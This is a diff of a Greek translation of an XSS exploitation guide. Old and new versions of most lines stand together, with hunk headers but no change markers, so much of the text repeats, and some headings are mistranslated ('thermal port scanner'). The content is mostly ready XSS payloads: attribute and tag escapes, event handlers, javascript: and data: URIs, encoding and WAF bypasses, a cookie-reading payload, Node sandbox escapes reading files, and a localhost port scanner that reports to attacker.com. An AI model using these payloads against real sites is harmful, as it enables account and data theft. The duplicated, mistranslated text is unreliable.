2. Αν **μπορείτε να ξεφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
3. Αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
2. Αν μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**", θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
```html
@ -70,11 +70,11 @@ debugging-client-side-js.md
Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**:
- Αν ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Αν ανακλάται μέσα σε πρότυπες κυριολεξίες, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- Αν ανακλάται μέσα σε πρότυπες κυριολεξίες μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Η κωδικοποίηση Unicode** λειτουργεί για να γράψετε **έγκυρο κώδικα javascript**:
```javascript
alert(1)
@ -92,7 +92,7 @@ js-hoisting.md
### Javascript Function
Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να συναντήσετε είναι κάτι σαν: `?callback=callbackFunc`.
Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`.
Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **τροποποιώντας την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και κοιτάζοντας στην κονσόλα για σφάλματα όπως:
@ -100,7 +100,7 @@ js-hoisting.md
Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για **να αποκτήσετε πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
![](<../../images/image (747).png>)
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο κώδικα JS.
Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλώς** κάποια **δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να εκτελέσει αυθαίρετο κώδικα JS.
{{#ref}}
dom-xss.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
Αυτού του είδους οι XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας εφαρμογής ιστού αλλά από **οποιοδήποτε** **περίγραμμα**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη και να καταχραστεί για να αποκτήσει **RCE**, **να διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και άλλα.\
Αυτού του είδους οι XSS μπορούν να βρεθούν **οπουδήποτε**. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη μιας διαδικτυακής εφαρμογής αλλά από **οποιοδήποτε** **περίγραμμα**. Αυτού του είδους η **αυθαίρετη εκτέλεση JavaScript** μπορεί ακόμη και να καταχραστεί για να αποκτήσει **RCE**, **να διαβάσει** **αυθαίρετα** **αρχεία** σε πελάτες και διακομιστές, και άλλα.\
Ορισμένα **παραδείγματα**:
{{#ref}}
@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ή \*\*\*\*\*\***`--!>`\*\**_
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ή \*\*\*\*\*\***`--!>`\*\**_
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
```html
@ -161,16 +161,16 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να **δοκιμάσετε ποια ετικέτες** μπορείτε να δημιουργήσετε.\
Μόλις έχετε **εντοπίσει ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να **δοκιμάσεις ποια ετικέτες** μπορείς να δημιουργήσεις.\
Μόλις **εντοπίσεις ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσεις χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δεις πώς μπορείς να επιτεθείς στο πλαίσιο.
### Δοκιμή ετικετών/γεγονότων
Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε όλες αυτές χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε όλα τα γεγονότα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή γεγονότων στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
Πήγαινε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάνε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλε όλες αυτές χρησιμοποιώντας το Burp intruder και έλεγξε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψεις ποιες ετικέτες μπορείς να χρησιμοποιήσεις, μπορείς να **δοκιμάσεις όλα τα γεγονότα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάνε κλικ στο _**Αντιγραφή γεγονότων στο πρόχειρο**_ και ακολούθησε την ίδια διαδικασία όπως πριν).
### Προσαρμοσμένες ετικέτες
Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
Αν δεν βρεις καμία έγκυρη HTML ετικέτα, μπορείς να προσπαθήσεις να **δημιουργήσεις μια προσαρμοσμένη ετικέτα** και να εκτελέσεις κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσεις το URL με `#` για να κάνεις τη σελίδα **να εστιάσει σε αυτό το αντικείμενο** και να **εκτελέσει** τον κώδικα:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -267,12 +267,12 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### Μέσα στο χαρακτηριστικό
Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** αντικατοπτρίζεται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.\
Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** αντικατοπτρίζεται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ σε αυτό.\
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML είναι **αποκωδικοποιημένοι κατά την εκτέλεση**. Επομένως, κάτι όπως το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML tags **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
```javascript
@ -303,7 +303,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### Ειδικά Πρωτόκολλα Μέσα στην ιδιότητα
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο κώδικα JS**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη ενώ άλλα όχι.
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη ενώ άλλα όχι.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **τις περισσότερες** από τις ετικέτες που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι σε `<img>`)
**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **πλειονότητα** των ετικετών που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -359,9 +359,9 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
```
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
**Χρησιμοποιώντας Hex και Octal κωδικοποίηση με `javascript:`**
**Χρησιμοποιώντας Hex και Octal encode με `javascript:`**
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` χαρακτηριστικό του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal encode** μέσα στο `src` attribute του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -377,7 +377,7 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
```javascript
<a target="_blank" rel="opener"
```
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα **`target="_blank" και rel="opener"`** χαρακτηριστικά, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα χαρακτηριστικά **`target="_blank" και rel="opener"`**, ελέγξτε τη **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
{{#ref}}
../reverse-tab-nabbing.md
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφό input, σύνδεσμος, canonical, meta)
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα)
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτείτε τα κρυφά inputs με:**
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -436,7 +436,7 @@ onbeforetoggle="alert(2)" />
- **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος κωδικός JS):** `\u0061lert(1)`
- **URL κωδικοποίηση**
- **Hex και Octal κωδικοποίηση**
- **κωδικοποίηση δεδομένων**
- **data κωδικοποίηση**
**Παράκαμψη για HTML tags και attributes**
@ -503,7 +503,7 @@ return loop
}
loop``````````````
```````````````
### Εκτελούμενος κωδικός με κωδικοποίηση
### Κωδικοποιημένη εκτέλεση κώδικα
```markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
@ -746,7 +746,7 @@ dom-xss.md
{{#endref}}
Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση σχετικά με [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
### Αναβάθμιση Self-XSS
@ -787,7 +787,7 @@ dom-xss.md
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Το ζευγάρι "Key","Value" θα αναπαραχθεί έτσι:
Το ζεύγος "Key","Value" θα αναπαραχθεί έτσι:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -823,16 +823,16 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS με έγχυση κεφαλίδων σε απάντηση 302
### XSS με έγχυση κεφαλίδων σε απόκριση 302
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης της HTTP απάντησης είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
Στην [**αναφορά αυτή**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
Στο [**αυτό το αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτό**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
### Μόνο Γράμματα, Αριθμοί και Τελείες
Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα αυτής της ανάρτησης**](#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS
@ -864,7 +864,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Έτσι, ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
(Από [**εδώ**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ποιοι τύποι θα μπορούσαν να υποδεικνύουν τη φόρτωση ενός script;
```html
<script type="???"></script>
```
@ -923,7 +923,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα αυτό σε ένα CTF)
- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF)
- application/rss+xml (off)
- application/atom+xml (off)
@ -941,7 +941,7 @@ import { partition } from "lodash"
```
### Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", <user_input>)`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **διαφύγει μια συμβολοσειρά JSON** μέσα σε ένα σενάριο και να εκτελέσει αυθαίρετο κώδικα.
@ -984,7 +984,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Αν **τα πάντα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
Αν **τα πάντα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
- Χρησιμοποιώντας import()
```javascript
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη **`require`** συνάρτηση:
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη λειτουργία **`require`**:
```javascript
try {
null.f()
@ -1339,11 +1339,11 @@ q.shift()()
}
</script>
```
### Σαρωτής Θερμικών Θυρών (fetch)
### Σαρωτής Θερμοκρασίας (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Σαρωτής Θερμοφυσικών Θυρών (websockets)
### Σαρωτής Θερμοκρασίας (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1358,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν καμία απάντηση._
_Οι σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Οι μεγαλύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει απάντηση._
